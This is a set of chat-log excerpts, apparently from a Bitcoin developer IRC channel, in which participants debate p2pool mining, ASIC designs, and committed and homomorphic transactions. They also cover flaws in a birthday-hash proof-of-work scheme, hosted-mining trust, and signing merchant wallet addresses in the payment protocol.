17:38 < maaku> midnightmagic: it's my experience running a p2pool node.. although I haven't synced with forestv's sources in some months
17:39 < gmaxwell> maaku: the time between shares was upped to 30 seconds, which greatly reduced the latency dependance. its still higher, but this isn't entirely bad.
17:39 < maaku> it was much worse under 10s shares (it's now 30s right?)
17:39 < maaku> yeah
17:39 < midnightmagic> adam3us: It requires local knowledge and setup and maintenance of a bitcoind, and a p2pool instance running on either the same machine or another one. I suspect it's mostly just misunderstandings that people don't want to clear up, and the fact that it's got a 15-hour block turnaround time.
17:40 < midnightmagic> there was a spike a few times where the orphan rate just shot right up like crazy with a huge influx of hashrate. I don't know what was going on there. It looked as though someone was trying to mine with smoething big and gave up on it.
17:40 < amiller> i've been thinking about mining and asics and for the moment, equipment costs totally dominate power costs
17:40 < adam3us> as i recall i tried it once and it was like really nothing just just p2pool instead of eligius
17:40 < gmaxwell> P2Pool has roughly 1/10th the orphaning rate of eligius, for example. ... why? beyond the relaying advantages, ... it makes miners fix their latency (or drives away slow miners)
17:41 < adam3us> and my reactin was woah why doesnt everyone do that!
17:41 < amiller> but we alos aren't at the full curve of the chip development cycle, the 65nm chips are coming out now, but once we get to like 20 or whatever intel does, it totally levels off and then there's going to be hardly anymore improvement in hashes per second per dollar-spent-on-chips
17:42 < gmaxwell> adam3us: if you're already running bitcoin-qt / bitcoind and have a reasonable host.. it's easy. Otherwise, its actually a lot of work. People show up in #p2pool "halp on my atom with drum memory I get 60% effiency!"
17:42 < maaku> lol drum memory
17:42 < gmaxwell> amiller: well, KNC is 28nm but its using structured asic.
17:42 < MC1984> structured?
17:42 < sipa> aka glorified fpga
17:43 < amiller> structured cell arrays are sort of gateway asic, much cheaper than fpga, but still sort of general purpose and less efficient than standard cell array
17:43 < gmaxwell> yea, it's in between a hardcopy fpga and a real asic.
17:43 < MC1984> whats the point of that
17:43 < gmaxwell> lower upfront costs, potentially faster time to market.
17:43 < gmaxwell> The downside is higher marginal costs (per hashrate ... but this is actually really low in any case) and higher power consumption.
17:44 < MC1984> isuppose right now the time to mrket thing makes it worth it
17:45 < MC1984> whats that nifty state about how long it would take current hashrate to recreate the whole chain
17:45 < MC1984> i bet its down to like a week now
13:30 < petertodd> sipa: like, imagine if the payment protocol is widely deployed, and merchants use out-of-band payments extensively to get their zero-fee payments from their customers mined: p2pool wouldn't be able to earn fees at all
13:31 < adam3us> petertodd, sipa: i was noticing when playing with committed transactions, that you dont need to send the values, nor recipients to the miners; only a commitment to them (hash) and a commitment to the senders address
13:31 < petertodd> sipa: I've got what appears to be a pretty good way to do decentralized out-of-band payments though, but it's way more complex than the centralized way :(
13:31 < amiller> jgarzik, uh, well i'm not exactly sure i understand what you mean by oracles / agents there
13:32 < amiller> jgarzik, i guess you just mean semi-trusted parties that aren't the end-users who the protocol actually benefits, but like a server with limited capabilities
13:32 < adam3us> petertodd, sipa: reduces attacks if the miners know as little as possible about what is going on
13:32 < jgarzik> amiller, pretty much
13:34 < amiller> i still feel like calling them autonomous agents or oracles is misleading language that deliberately conveys some kind of additionally trustworthiness that isn't warranted
13:34 < amiller> </monthlyscheduledrant>
13:34 < petertodd> adam3us: ooh, reminds me re: commited txs: I've got an idea where you'd make transactions have commitments of previous ones with a merkle-mountain-range-like scheme so you could efficiently reference any previous transaction up to the genesis block. This is easiest to understand if transactions can only have linear history, but a dag history is doable
too. Anyway, wallet software would receive that history to know the coins are valid, thus pushing validation directly to the users. Obviously some way of pruning that history is important, SCIP is heavy-weight and complex but could work.
13:35 < sipa> thus pushing v[...]
13:35 < petertodd> adam3us: yes, but nothing other than intertia prevents miners from demanding that users reveal enough info to let them know what transactions actually are; again, it's easy to imagine governments regulating mining pools and forcing them to do this.
13:37 < petertodd> adam3us: you really need to keep it possible to mine by small parties to keep that balance towards decentralization - helps the larger pools resist regulation too if they can point out that the smaller miners that can't easily be regulated will just out-compete them if the government forces the larger ones to do things like 51% attack the non-censoring miners
13:37 < petertodd> *government tries to force
13:38 < adam3us> petertodd: it reduces bandwidth if you can send commitments only to the block chain, because ok to send previous tx history back to the last snapshot (or to genesis) is a bit of a privacy leak, its still better than now; and its more efficient to send that to each recipient than broadcast it to everyone
13:38 < adam3us> petertodd: yep, that was exactly the motivation for committed tx - users can yank a 51% miners chain causing him to lose money all day long
13:38 < petertodd> adam3us: yup, commitments with compact proofs of any part of the previous tx history are one form of sharding validation effort.
13:39 * petertodd needs to come up with a good directed acyclic graph version of merkle mountain ranges
13:41 < petertodd> adam3us: wait, explain to me how users "yank a 51% miners chain"?
13:41 < adam3us> petertodd; y'know with homomorphic encrypted values & committed transactions combined, at least the privacy invasion of the full tx history revealed to each recipient is less - you dont see how much money each user has
13:41 < petertodd> adam3us: good point
13:41 < adam3us> petertodd: ah so lets see how did that go, ah yes so you want to make a payment and you're wikileaks (canonical example of unpopular extra-legal blocking)
13:42 < adam3us> petertodd: so you make your payment, wait a few blocks, reveal it; now the 51% miner has to discard 2 blocks of profit and compete against himself; rinse & repeat
13:43 < petertodd> right, and my point is always the government response is to target public bitcoin users and first demand that even though the system is private, they use this new modification of the bitcoin protocol that also sends enough information along-side a transaction to always reveal the contents
13:43 < adam3us> petertodd: that assumes you ever reveal the tx to the network, you could let them circulate in committed form in which case no one not in the tx history knows who paid who
13:44 < amiller> adam3us, suppose you had aribtrary zero knowledge and two party computation or whatever
13:44 < amiller> can we come up with an idealized definition for a private public ledger?
13:44 < amiller> i've been trying to think of a good way to explain this, regardless of the actual implementation efficiency
13:44 < petertodd> then you start getting the pools you can control to apply preferential treatment to non-anonymous transactions, for isntance you only mine ones like that, but still extend blocks otherwise. rinse and repeat, until you get to the point where the pools can do direct 51% attacks on the ones that don't.
13:44 < amiller> no one should need to know anyone's transaction balances
13:44 < adam3us> petertodd: well its not that private in the sense that anyone in the payment chain can reveal stuff that came before, so they are free to make a subpoena, most random merchants and users have no incentive to protect privacy of an actual crime with victims
13:44 < petertodd> it's only the inability of government to control at least 50% of the hashing power that prevents that stuff
13:44 < amiller> a transaction between two people should change their balances in a way that both know, but neither should learn the balances of the other
13:45 < amiller> but everyone should learn the transaction is valid
13:45 < amiller> can you do that even abstractly?
13:45 < petertodd> adam3us: yup. the unhiding data could be done by requiring it to be broadcast encrypted to a government controlled pubkey
13:46 < petertodd> adam3us: "Nothing to fear! You're tx's are private unless a court-order is served and the priv-key is used to decrypt them."
13:46 < adam3us> amiller: maybe zerocoin with homomorphic values? (with fixed value is stupidly inefficient send 1,000,000 1c coins to send $10k?)
13:46 < amiller> btw there's a fully open source alternative to pinocchio/tinyram out https://github.com/srinathtv/pantry/
13:46 < adam3us> petertodd: screw that :)
13:47 < amiller> adam3us, well homomorphic values isn't enough i don't think
13:47 < amiller> because homomorphic encryption uses a single key
13:47 < adam3us> petertodd: we see where that ends, apriori wire tap and data fishing on everyone on the planet in utah; even the EU is right now voted to block SWIFT data sharing
13:48 < petertodd> adam3us: yes, but the only thing stopping it is that it's possible to mine outside of government control! Reality is with the current system, even with TXO commitments and fraud proofs, at some point a large blocksize will lead to that scenario.
13:48 < amiller> perhaps if i want to send you some money and we want ot prove it's valid to everyone else but we don't want to reveal our balances to each other, we could use a two-party computation that computes the homomorphic function or something
13:48 < adam3us> amiller: yes you can do that (encrypted values add up, without learning other balance) see thread on homomorphic value using schoenmakers range proof
13:49 < adam3us> amiller: it works because there are two values in a pederson commitment c1 = v1*G + x1*H
13:49 < adam3us> v1 is the value, x1 is a key that is not revealed
13:49 < adam3us> amiller: no one knows DL(G,H)
13:50 < adam3us> https://bitcointalk.org/index.php?topic=305791.msg3277431#msg3277431
13:51 < petertodd> adam3us: so how much larger would transactions be with this homeomorphic stuff?
13:51 < adam3us> its not really encrypted as such, just committed in a extened-schnorr provable form (bi DH form)
13:51 < adam3us> petertodd: well like I said on the thread best I got so far was 1K-2K per value depending n the precision of the coin vaue
13:52 < amiller> i still don't see how you get the range proof
13:52 < petertodd> petertodd: ok, so that's 1K-2K per txout then basically right? is that linear with the number of txouts?
13:52 < amiller> but i'll read more and try to undersatnd it
13:52 < petertodd> does it handle any combination of # of txins and # of txouts?
13:53 < adam3us> its 3+2m values where m is the number of bits of mantissa (precision) of the bitcoin value and a value is 256-bit/32-byte
13:53 < petertodd> (although I guess you could use a merkle-sum-tree to combine txin values and split txout values)
13:53 < adam3us> so I suggested eg 20-bits (1665bytes) or 27-bits 2016bytes
13:54 < amiller> ok so you do a range proof with roughly one value per bit
13:54 < adam3us> petertodd: amusingly i think you could even validate the entire ledger, add it all up and check it comes to however many coins issued so far
13:54 < adam3us> amiller: yes
13:54 < amiller> how do you communicate the value transferred to the other party?
13:54 < adam3us> no 2 values
13:55 < adam3us> 3+2m
13:55 < adam3us> just tell them
13:56 < adam3us> amiller: out-of-band or encrypted to public key if using the block as a store-and-forward channel
13:56 < amiller> okay
13:56 < adam3us> amiller: the fee is public, rest homomorphic
13:56 < amiller> (i apologize i have a hard time parsing all your posts but i think the idea works out)
13:57 < adam3us> amiller: well actually you can mix encrypted & clear values
13:57 < amiller> the pedersen commitments are only homomorphic with respect to addition aren't they
13:57 < adam3us> amiller: eg if you want to hide the value of your balance, but dont care much to hide the actual payment amount
03:48 < gmaxwell> And likewise, scorched earth is only applicable for things where the reciever would be pissed about an unconfirmed doublespend.
03:48 < gmaxwell> Its not unsolvable, but its an unfortunate complication.
03:48 < petertodd> gmaxwell: yeah, I wrote on the forum about how the payment protocol re: coinjoin should work where you actually give the merchant a non-coinjoin, and coinjoin, version of the tx
03:49 < gmaxwell> it makes me think that perhaps there really should be a signal which says "I swear on my mothers grave that I will not doublespend this transaction {within x time}"
03:49 < gmaxwell> since there are plenty of cases where doublespends are totally legit, and you don't want unconfirmed acceptance in any case.
03:50 < gmaxwell> and also cases where you want unconfirmed acceptance and any doublespend is fraud.
03:50 < petertodd> heh, well, like I say, you give the merchant the non-CJ version, the CJ version, and heck, in some cases even more versions because you've done multiple payments in a row and don't know what will get mined
03:50 < gmaxwell> and its only in the latter where scorched earth is the right strategy.
03:50 < gmaxwell> sure.
03:51 < petertodd> thing in, scorched earth has even more requirements, because the sending tx has to be basically minimal size, so that the sender can't double-spend it with a *smaller* tx
03:56 < Luke-Jr> do C++ or boost have a key-only map type?
03:56 < petertodd> Luke-Jr: you mean a set?
03:56 < Luke-Jr> maybe
03:57 < Luke-Jr> unordered set?
03:57 < petertodd> could be? not familiar with boost
03:58 < Luke-Jr> petertodd: looks like these are both standard C++, thanks
03:58 < Luke-Jr> although.. C++11
04:01 < gmaxwell> Luke-Jr: we use stl sets in varrious places in the codebase.
04:01 < Luke-Jr> but not unordered
04:01 < petertodd> Luke-Jr: does it matter?
04:01 < Luke-Jr> shrug
04:01 < Luke-Jr> I'll use unordered and see if anyone complains XD
04:02 < petertodd> behind the scenes sets get implemented in an ordered fashion often
04:03 < gmaxwell> Luke-Jr: ordered is fine here, they're not in insertion order, they're in whatever search order (based on the comparator of the underlying type) the datastructure needs to make lookups fast.
04:04 < Luke-Jr> I guess I assume std::set is going to be slower than std::unordered_set..
04:04 < petertodd> Luke-Jr: often enough it's all trees behind the scenes anyway...
04:05 < petertodd> Luke-Jr: with C++ that's quite likely because there's no obj.__hash__() like in Python
04:06 < gmaxwell> petertodd: there is actually a generic hash template thing.
04:06 < gmaxwell> petertodd: and I think the unordered set template needs it to work on your type.
04:07 < petertodd> gmaxwell: oh cool, guess I'm wrong
04:19 < Luke-Jr> well, my compiler doesn't have it :<
04:20 * Luke-Jr can't wait for autoconf_pt3 to get merged so the warning on every compile goes away
05:06 < adam3us> y'know the aim of bytemaster birthday hash is amusing - i briefly looked at it in 1997 for hashcash, i actually started my thought process by looking at birthday hashes, but that lasted all of 10min :); it is not progress free so cant fairly be used in a first past the post race
05:07 < adam3us> (his aim is to have fast verify (3 hashes, though he could've easily done it with 2) and yet memory hardness - however he has killed progress freedom, and other more simple issues)
05:09 < adam3us> so its not quite true that it doesnt achieve anything that scrypt does - it achieves memoryless verification, however it has tmto with n^2 advantage, and progress so its broken
05:10 < adam3us> also because of the n^2 advantage custom hardware could dominate it way worse than asic, triple fail :)
05:10 < gmaxwell> adam3us: Their earlier stuff was not a collision problem, I wasn't aware that they switched to that in their latest incarnation as their response on the first one I broke convinced me to never look at their stuff again.
05:11 < gmaxwell> and yea, we had a conversation at collision's for memory hardness in here before, and indeed the advantage for faster miners was brought up, also that you can eliminate the memory hardness with a tradeoff for more computation.
05:11 < adam3us> gmaxwell: someone mining pts got me to look at it
05:11 < adam3us> gmaxwell: yes the problem is the n^2 advantage for memory
05:12 < adam3us> gmaxwell: and the progress, and the tmto they mistakenly thought didnt exist
05:15 < adam3us> u can see it someone using 50 GHz cores (cores x ghz) got bday 180H/min, vs 30 Ghz cores got 50H/min -fast enough processor, for RAM
05:15 < sipa> adam3us: i cannot parse your last sentence
05:16 < adam3us> sipa: because its birthday attack, if your cpus can fill your RAM within the 5mins block interval, the more ram you have the more birthday hashrate n^2 to amount ofram
05:18 < adam3us> what its computing i think is H(cb, a) for random a, coinbase cb; where H finds a 26-bit hashcash (like bitcoin but small difficulty as a pre-screen)
05:18 < adam3us> then they store those values (h1,...h_n) = {H(cb,a),H(cb,b),...}
05:19 < adam3us> and look for 50bit birthday collisions on h_i values, (using a hashtable rather than memory scan)
05:20 < adam3us> finally for each H(cb,a)==H(cb,b) the test if H(cb,a,b) < target
05:21 < adam3us> (the code i found unreadable, the paper vague and stale... talking about scrypt and other ideas; its actually using hashcash-sha512-26 ie partial preimage wth 26-bits of leading 0 using sha512 hash function)
05:21 < gmaxwell> adam3us: if you have super fast logic but gates for memory are costly you can also run near memoryless (like pollard rho w/ period finding), so if you really believe the argument that needing lots of memory is a great enhancement, well, not so much.
05:21 < adam3us> for the H function
05:22 < adam3us> gmaxwell: yes i agree - i said 3 problems, tmto (2 types actually), progress, and n^2 memory advantage
05:23 < gmaxwell> but besides that it's awesome!
05:23 < adam3us> the other tmto is to use a hashtable which is unreliable but more compact
05:23 < adam3us> gmaxwell: lets not mince words - its triply broken :)
05:23 < gmaxwell> I hadn't decoded tmto to time memory trade off for some reason.
05:24 < gmaxwell> I'm waiting for them to think you can use hamming distance instead of prefix matching to prevent that.
05:24 < adam3us> gmaxwell: but the usual cycle method doesnt work i think on partial birthday, only on full birthday, because the cycled finds are almost cetainly of unrelated values
05:24 < gmaxwell> (you can't)
05:25 < gmaxwell> adam3us: sure it does, you just need a function that reads only from the partial chunk for the next step.
05:25 < gmaxwell> (whats even more awesome is you can make this work well for hamming distinct thresholds too... with some mild complication)
05:26 < adam3us> gmaxwell: i dont think so, some proposed the cycle method on the bitshares forum and it got shotdown (not that they know much), but I dont think you can define a meaningful cycle
05:27 < adam3us> gmaxwell: he was forced to py out his $5000 bounty to to forum people, i held off saying anything :)
05:28 < adam3us> (mostly for the unreliable hashtable so it fits in gpu unit L2 cache)
05:28 < gmaxwell> well I haven't looked at their thing, but this does generally work for finding n-bit prefix matches in hash functions. There is a paper I like on it that also goes into the hamming threshold case.
05:30 < adam3us> gmaxwell: its possible i am wrong but what i am thinking is if you find cycle one of r_1, ... r_k, ... and another cycle r'_1,... r'_k the problem i see is that r_{k-1} is unrelated to r'_{k-1} and so on
05:30 < adam3us> (where r_k == r'_k)
05:34 < adam3us> the objective isnt stupid though - i thought of that too - to find an scrypt variant where you can verify without memory. i believe its challenging without introducing progress
06:31 < adam3us> btw TD: something else wrong with uploading batches of deterministc addresses, they are uncertified. the payment protocol certifies them, but with an SSL key in server memory. Obvious attack point
06:35 < adam3us> TD: if the base address is static it can be certified by an offline X509 key, or simply verified with out of band static information
06:42 < TD> no
06:42 < TD> the payment protocol does not specify any kind of "server" or "client". whoever generates the payment request can sign it. SSL or not is irrelevant.
06:42 < TD> so if you have a private key, your wallet would just upload pre-signed payment requests
06:42 < TD> however most individuals do not have a certificate. so, i suspect we'll end up with a different PKI for end users.
06:42 < TD> (and to start with, none at all)
07:23 < adam3us> TD: i imagine any business web site accepting payments has an x509 cert (for SSL associated with the server domain), so if they bother to sign the payment requests, they wold probably reuse the one they already have. you are right though that they could sign it with en x509 email cert, or a sub-domain cert
07:23 < TD> yes, business websites don't need to batch upload anything. they can generate them on the fly with the ssl key indeed. sorry i thought we were still talking about personal usage
07:23 < adam3us> TD: but there may be expectation issues - surey the relying party should expect a signature from bobsparts.com, not from bob@hotmail.com
07:25 < adam3us> TD: yes. i am not saying i have a solution, eg the bloombait so far seems to likely have issues but will see what it can do; however at requirements level mostly i am saying it would be nice if were static, then it could be on a business card, brochure, shop window, with zero possibility for web site hacking address redirection
07:26 < TD> people can have their wallets be compromised as well. then it's impossible to recover
07:26 < adam3us> TD: (because signing with the site SSL key is also vulnerable to address hacking)
07:26 < TD> if a web site gets hacked, it can be re-sealed
22:39 < amiller> i actually think that higher variance mining makes more sense here
22:39 < gmaxwell> GIGAVPS, asicminer, "cloud mining" are all examples of hosted mining, and there will be many more. Buzzdave (megabigpower) and BFL have their own hosted mining offerings, etc.
22:40 < amiller> a mining operation that has a lottery interface on one side to its clients and does bitcoin mining on its other would really want low variance
22:40 < amiller> because it could easily promise more money than it can afford to payout
22:40 < gmaxwell> Basically even though the current technical scaling factors strongly discourage big datacenter operations, there are social factors that encourage them. "derp derp I'm too dumb to run a miner, but I have money and want to make profit mining!"
22:40 < gmaxwell> amiller: you can just make your customers take the mining risk.
22:41 < amiller> right
22:41 < amiller> so that's where the trapdoor thing comes in
22:41 < amiller> i should make it so that any attempt to tie a customer's outcome to the outcome of a particular attempt at mining on the chain
22:42 < HM> the startup risk is large, if you get no customers then you've invested a lot for buggar all
22:42 < amiller> involves a trapdoor that makes it really easy to obscure the actual probability distribution of the chain's payout
22:43 < gmaxwell> HM: sadly preorders in the bitcoin world are ubiquitous, asicminer was entirely funded by selling hundreds of thousands of dollars in shares on the bct forum. They then rigged it up so they'd continue to own a ~majority of the shares. used the funds they raised to fab asics.. and put them online.
22:43 < HM> heh
22:43 < gmaxwell> HM: a lot of the other hosted offerings leave it to the customers responsibility for the mining hardware to show up at their door. Once its their they rack and stack and configure and start sending the user coins.
22:44 < gmaxwell> amiller: okay so your solution is basically to make it so that the hosting company can very easily hide their income, so they can steal from the miners.
22:44 < amiller> yes that's right
22:45 < gmaxwell> amiller: the challenge I see here is that the mining has an expected income, so the amount they can steal is bounded by that probability distribution model. I would also point out that _none_ of these services do any kind of proof at all that they aren't stealing, even though they could today, people don't ask for it.
22:45 < gmaxwell> E.g. ASICMINER could have easily built 50% more chips than they claim to have, and could be running them not as asicminer and no one would know.
22:46 < amiller> sure, i guess they only have shares
22:46 < amiller> my assumption is that a client pays a fixed price for a certain payoff distirbution
22:46 < amiller> like i pay for 10 shares some fraction of them should win
22:46 < amiller> but suppose there is a high variance option
22:47 < amiller> like one out of every hundred blocks wins an extra large amount of bonus or something like that
22:47 < amiller> then you can steal that bonus without raising much suspicion
22:47 < amiller> because it happens very infrequently anyway
22:48 < gmaxwell> Yea, I mean you could send shares to the cutomers to prove that their device was trying to mine in a publically validatable way. But no one asks for that today. And yes, shares + high variance would make the miner's secure against cheating. (make the shares frequent enough that if the host was stealing more than a tiny amount of work it would be obvious)
22:48 < amiller> i agree no one asks for that today, but they should, perhaps in the future they will
22:48 < gmaxwell> but okay I get the idea. So if there were big bonus blocks periodically... that were blinded.. then the users couldn't tell if they were being robbed.
22:48 < amiller> after people start implementing encryption correctly etc
22:49 < HM> Don't datacenters typically charge by the amp? or say 1 U = X amps and then charge mostly on power consumption?
22:49 < amiller> yeah that's the idea
22:49 < gmaxwell> amiller: I'm ... very concerned they won't. but thats an aside. We can't cure humanity, lets fix the technology at least.
22:50 < amiller> yeah. also etc etc it helps promote general confidence in cryptocurrency to have technical answers especially to the big questions, like, does rational behavior inevitably trend towards centralization, etc.
22:50 < amiller> even if the technical answers to that involve things that aren't even close to implemented yet
22:50 < gmaxwell> (in particular, miners could be using BFGminer with their centeralized pools and BFGminer will prevent a pool from ever "eating its own tail": it will refuse to mine a fork against work the pool had it previously do. Totally kills a broad class of pool-op network attack. But basically no miners deploy bfg for this purpose (many use it but for other reasons))
22:51 < gmaxwell> amiller: a lot of users really have absolutely no clue about the security model, or they're wrong about it in frightening ways. E.g. they think that only the miners validate transactions, and that the miners can pay to whomever they want, however much they want. E.g. a model where there would be no incentive alignment at all.
22:51 < gmaxwell> And I think this kind of misunderstanding is nearly the majority understanding or not too far from it. Yet they use bitcoin anyways because of, presumably, social proof.
22:52 < gmaxwell> (they also use other altcoins like ppcoin where the developer broadcasts checkpoints that select the network state)
22:52 < gmaxwell> (ppcoin is nominally POS but for "extra security" it has checkpoints broadcast in the network by its creator for ~every block which ultimately dominates the consensus)
22:54 < amiller> people also trust service providers unconditionally for all sorts of stuff
22:54 < HM> amiller, example?
22:54 < amiller> passwords in google docs?
22:55 < gmaxwell> right, part of the problem there is that you can get away with trusting paypal or ebay like that, they have conspicious assets you can send to jail if they cheat and regulation. But people also trust $anonymous_pool_operator because they don't reason about why it's okay to trust ebay.
22:55 < amiller> sure, so i admit that this is a construction of theoretical interest mostly
22:55 < gmaxwell> worse, since even when everything is vulnerable attacks tend to be somewhat rare.... when the shit does hit the fan they blame the specifics rather than the general practices. but oh well.
22:56 < gmaxwell> yea, sorry for the tangent.
22:56 < gmaxwell> We can't fix the social problems unless there are technical solutions in any case.
22:56 < amiller> i agree with 100% of the content of the tangent
22:56 < amiller> but yeah
22:56 < gmaxwell> I just get a bit depressed because even where the technical solutions exist we're not using them yet.. if ever.
22:56 < HM> amiller, the kind of people who put passwords in google docs are likely ignorant of the risk
22:57 < HM> or dismissive of the consequences
22:57 < HM> i wouldn't call that trust
22:58 < amiller> HM the way i think of it is that everyone who ignorantly or whatever is willing to make themselves fully vulnerable to a cloud provider or whatever, i just assume they've already done so
22:58 < amiller> and i effectively treat that as one wealthy entity
22:59 < amiller> the thing to aim for is people who are making rational risk-aware decisions
22:59 < gmaxwell> HM: people leave large amounts of bitcoin in blockchain.info mywallet, which is protected only by the users password, which can be bruteforced by bc.i (or anyone with access to the user's email), at >10 million passwords per second per gpu (and there is no salt, so bc.i or their hacker could attack all customers at once)
22:59 < gmaxwell> and BC.i wallets could be stolen at login time by anyone who injects JS in the pages.
22:59 < amiller> who will take the offer if it's cheaper and they have a good guarantee, in particular regardless of the 'systemic' risk of centralization which affects bitcoin as a whole but doesn't make you earn less
22:59 < gmaxwell> And yet they have hundreds of thousands of users.
22:59 < HM> bc.i don't need to bruteforce the wallets
22:59 < HM> they can just take them
23:00 < gmaxwell> HM: BC.i is a bit misleading about the threat model there, because the private keys are "only in the browser" ... until they give you some JS injection and take them or attack the password. I mention the password attacks because even if you believe their misleading claims the password stuff is upheld.
23:01 < HM> yes, it's the same with MEGA with files
23:01 < HM> but tangents...
23:01 < gmaxwell> I mean I can go on all day there is countless amounts of misplaced trust.
23:02 < HM> well that's why the financial system being full of systemic risk is a *good* thing
23:02 < HM> everyone knows when it reaaally gets bad, something will be done
23:03 < HM> and nobody cares if it's good as long as everybody suffers
23:04 < HM> if the majority of people use blockchain.info then the impact on Bitcoin as a whole if the entire site vanished would be so huge as to effect us all anyway
23:08 < HM> It's kinda like email. Gmail has something like half a billion monthly active gmail accounts
23:09 < HM> some people don't even realise that email is a decentralised thing anymore
23:09 < gmaxwell> it's not even decentralised so much anymore. if you host your own email you have major major problems with anti-spam filters.
23:10 < HM> right
23:10 < gmaxwell> a lot of corporations have been moving to having msft or google host their domains for this reason alone... the other savings are just a perk.
23:11 < gmaxwell> (amusingly, I understand that Mike Hearn may have some personal culpability in this outcome ... :P )
23:11 * sipa whistles
23:11 < HM> lol what?
23:12 < gmaxwell> another googler. Though I don't know that sipa works on anti-spam. :P
23:12 < HM> ah bitcoin and bitcoinfoundy.org are both Gapps
12:54 < adam3us> petertodd: bitcoin already has a signing system, and a key to do the signing, i am just saying use it
12:55 < petertodd> adam3us: anything less means users who *don't* have any reason to dick around manually checking bullshit just because they want to buy a tee-shirt will end up with a less secure system
12:55 < petertodd> adam3us: and a signing system is useless without gobs of infrastructure
12:55 < adam3us> petertodd: the web app level is far less dangerous if the worst you can do is pay money ot the wrong merchant address (as opposed to the attacker direct)
12:56 < petertodd> adam3us: huh? the attacker swaps out the addresses after crackng the site and steals a million bucks from 10,000 users
12:56 < adam3us> petertodd: i am not saying people who are buying t-shirts will care to check it
12:56 < petertodd> adam3us: right, which means you have to have that code in the trezor... so use it
12:56 < adam3us> petertodd: no because the addresses are signed, and users who bother to check, can see hey something is wrong with tshirtsrus
12:56 < petertodd> adam3us: paranoid level gets to have the PGP fingerprints displayed prominently
12:56 < adam3us> petertodd: their TOFU account number just changed??
12:57 < adam3us> petertodd: even a browser plugin handling payment requests could check that
12:57 < petertodd> adam3us: there is no difference between checking "signed addresses" and "CA fingerprint matches up", zero.
12:57 < adam3us> petertodd: you realize how tricky it is to get any sense out of pgp wot? latest version of gpg is all but unintelligible to me
12:58 < adam3us> petertodd: screw wot, i just mean a self-certified tofu hd wallet base key and expecting transaction numbers (one-use addresses) to be signed with it
12:58 < petertodd> adam3us: where did I say you'd be using WoT for this? most paranoid users would want to verify fingerprints with manual mechanisms, some could use WoT, but we're *much better* if we encourage an ecosystem that doesn't fragment things
12:59 < petertodd> adam3us: and like I keep sayng, making it PGP lets you do useful things like have known ways to send your merchant an encrypted email
12:59 < petertodd> adam3us: you are *not* thinking about second order effects here
12:59 < adam3us> petertodd: i just think its more useful to the careful user to have a tofu account number to read off and compare. than a string of (to him) uncorrelated random one-use addresses - that tell shim precisely nothing
13:00 < adam3us> petertodd: and the web level browser level and client machines are like swiss cheese and will get rampantly exploited
13:00 < petertodd> adam3us: yes, and using a PGP code-path for that use-case is better and encourages good practices across the board, rather than a bunch of highly specific shit that doesn't do anyone any good
13:00 < adam3us> petertodd: there are no second order effects - if you're buying t-shirts and you dont care dont look at the account number alright
13:01 < adam3us> petertodd: bullshit - how is throwing pgp at the poor user going to help anything
13:01 < petertodd> adam3us: damn right there is, now there's no transition path between low, medium, and high security, that's very bad
13:01 < adam3us> petertodd: so i think the low to medium level is done via payment request as is
13:02 < petertodd> adam3us: we want a system where the average user goes and gets the green CA-certified box saying "TeeShirt Company", then when they become a distributor of said company is told "Hey, go check that the fingerprint matched up ok? Just to be safe." now you've gone from low to high security seemlessly.
13:02 < adam3us> petertodd: problem is if the server is compromised someone can undetectably to users swap out the pool of one-use addresses
13:02 < gmaxwell> petertodd: so what we need to do is introduce the things pgp lacks to pgp and to fix it, rather than go off seperately or pretend that pgp as is .. is a solution.
13:02 < petertodd> adam3us: No, as I said before, you add a mechanism *to the payment protocol* to have a separate CA key (as a subdomain) sign a root address under the hood
13:02 < adam3us> petertodd: the web site will happily sign them with its SSL key (or subdomain key) and facilitate robbing itself
13:03 < petertodd> adam3us: and that's why it's a fucking subdomain, so you *don't* need to keep it online!
13:04 < petertodd> adam3us: you're not getting the payment request from that subdomain, the software just expects the request to be signed by that magic subdomain, and shows the user the address one level up
13:04 < adam3us> petertodd: well wait the payment request includes a description of what ou're buying and amount it cant be offline
13:05 < adam3us> petertodd: whereas one use addresses in the hd wallet derivation method can be pre-generated offline and uploaded as a batch, they could be signed offline, but there is currently a missing part to do that (thats basically all i was trying to say)
13:05 < petertodd> adam3us: sure it can, as I said before, you have two payment protocol-related certs here: one to sign requests semi-online, another to sign long-term root keys
13:06 < petertodd> adam3us: now you have a system that has pretty good security in the default case, *and* can be easily upgraded to paranoid level by a manual check
13:06 < adam3us> petertodd: but the message to be signed is different: one is a one-use address (offline) and the other is a description of your order (online)
13:06 < petertodd> adam3us: rather than creating balkanized shit
13:07 < petertodd> adam3us: yes, and what's wrong with that? users wallet is programmed to expect both, and barfs if it doesn't see what it expects
13:07 < adam3us> petertodd: so then you're saying teh same thing except ou like x509 and i dont. i think for something as compact, simple, direct nd bitcion meaningful as a proof of hd wallet ownership should be a 64 byte thing on the one use address, not a few KB of asn1
13:07 < petertodd> adam3us: if not all merchants use this, just make the UI in the wallets have a silly golden shield or something for the extra-high-security version, and make it easy to check fingerprints manually
13:08 < petertodd> adam3us: sure, but the code *has to be implemented on the wallet anyway*, so use a mechanism that allows for nice user-friendly transparent upgrades
13:08 < adam3us> petertodd: yeah i think e have some ux and naming to fix up, but i would call the merchant HD wallet base address the merchant account number, and the one-use address the invoice number
13:09 < adam3us> petertodd: seems a bit ugly to say oh yeah, and that account number, bitcion has a key, but it chose to delegate that to a web app, a untrusted third party (CA) and browser to tinker with
13:09 < petertodd> adam3us: heck, you see what I'm doing here? what I'm really doing is extending the merchant's identity that you usually transact with to verify a HD wallet base - you're strongly arguing to only do the latter which is silly
13:10 < petertodd> adam3us: we're not delegating it to anything - hardware wallets and offline wallet software *has* to implement CA certs for the 95% use-case
13:11 < adam3us> petertodd: i dont think CA are good model, ca infrastructure is rooted, 100s of dodgy CAs, hacked CAs, hostile govt operated CAs by govts of various shades . that way lies account seizure
13:11 < petertodd> adam3us: who cares? CAs are a better model than nothing. Reality is 95% of users will outsouce their security - there is nothing we can do about that.
13:11 < adam3us> petertodd: you can sign extra stuff with x509 while you're signing the payent request - why not, but i think its simpler to also independently and natively sign the one-use addresses
13:12 < adam3us> petertodd: its not either or. sign the account numbers with the hd wallet master. and sign everything best effort on the web app layer with the payment request
13:12 < adam3us> petertodd: what i am saying is like a checksum on a credit card digit
13:13 < petertodd> adam3us: no it's not - a hd wallet seed signed once by a long-term identity cert means that some theif can't do anything more interesting than blackhole funds in the worst case - in the better case you use a derivation system that's deterministic enough to always recreate the key(s)
13:13 < adam3us> petertodd: what you are saying is like maybe SET (doomed credit card web security protocol)
